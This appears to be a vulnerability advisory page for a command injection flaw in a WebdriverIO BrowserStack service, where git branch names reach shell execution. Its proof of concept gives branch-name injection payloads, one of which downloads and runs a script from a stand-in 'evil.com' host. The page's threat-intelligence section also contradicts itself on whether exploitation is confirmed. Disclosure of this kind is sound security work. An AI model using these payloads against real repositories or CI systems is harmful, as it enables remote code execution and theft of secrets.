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GHSA-5c46-x3qw-q7j7

CriticalCVSS 9.8 / 10
Published May 11, 2026·Last modified May 11, 2026
Affected Components(0)

No affected components available

Description

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)
Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
2.76%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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